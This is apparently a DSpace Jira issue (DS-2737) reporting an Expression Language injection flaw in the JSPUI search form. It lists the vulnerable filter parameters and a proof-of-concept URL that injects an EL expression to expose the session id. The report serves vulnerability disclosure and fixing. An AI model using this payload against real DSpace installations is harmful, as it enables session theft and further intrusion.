Uploaded image for project: 'DSpace'
  1. DSpace
  2. DS-2737

Expression language Injection in JSPUI search form

    XMLWordPrintable

    Details

    • Attachments:
      1
    • Comments:
      3
    • Documentation Status:
      In Description

      Description

      Expression language Injection

      Parameters:
      Filtername, Filtertype, Filter_field_1, Filter_type_1, etc.

      URL http://demo.dspace.org/jspui/simple-search?filtername=${pageContext.session.id}&filterquery=1&filtertype=equals&filter_field_1=title&filter_type_1=equals&filter_value_1=1&location=&order=desc&query=&rpp=10&sort_by=score

        Attachments

          Issue Links

            Activity

              People

              Assignee:
              tdonohue Tim Donohue
              Reporter:
              gcontreras Genaro Contreras
              Votes:
              0 Vote for this issue
              Watchers:
              4 Start watching this issue

                Dates

                Created:
                Updated:
                Resolved: